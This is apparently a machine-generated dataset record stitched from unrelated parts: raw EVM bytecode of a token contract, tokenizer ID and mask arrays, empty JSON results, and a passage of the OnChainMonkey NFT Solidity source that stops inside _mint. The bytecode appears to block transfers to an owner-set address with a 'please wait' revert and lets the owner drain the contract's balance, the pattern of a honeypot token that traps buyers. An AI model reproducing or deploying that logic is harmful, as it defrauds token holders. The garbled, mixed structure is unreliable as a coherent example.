ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a7231582096f48402b30bde69f979816b6a246229d5948ac505bbbbf8691424ebebc92e4b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 10354, 14526, 14141, 29292, 2098, 2487, 2546, 22394, 2692, 2581, 2581, 2683, 2050, 2692, 17788, 2063, 21926, 2546, 2581, 16576, 2497, 2620, 2063, 2575, 6305, 2629, 2063, 1013, 1008, 1008, 3647, 2088, 3449, 2239, 1006, 1002, 3647, 7811, 1007, 1011, 19204, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 2459, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,003
0x960b7a6bcd451c9968473f7bbfd9be826efd549a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // @title: OnChainMonkey // @author: huuep // // On chain PFP collection of 10k unique profile images with the following properties: // - a single Ethereum transaction created everything // - all metadata on chain // - all images on chain in svg format // - all created in the constraints of a single txn without need of any other txns to load additional data // - no use of other deployed contracts // - all 10,000 OnChain Monkeys are unique // - there are 7 traits with 171 values (including 3 traits of no hat, no clothes, and no earring) // - the traits have distribution and rarities interesting for collecting // - everything on chain can be used in other apps and collections in the future // And did I say, Monkeys? /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; 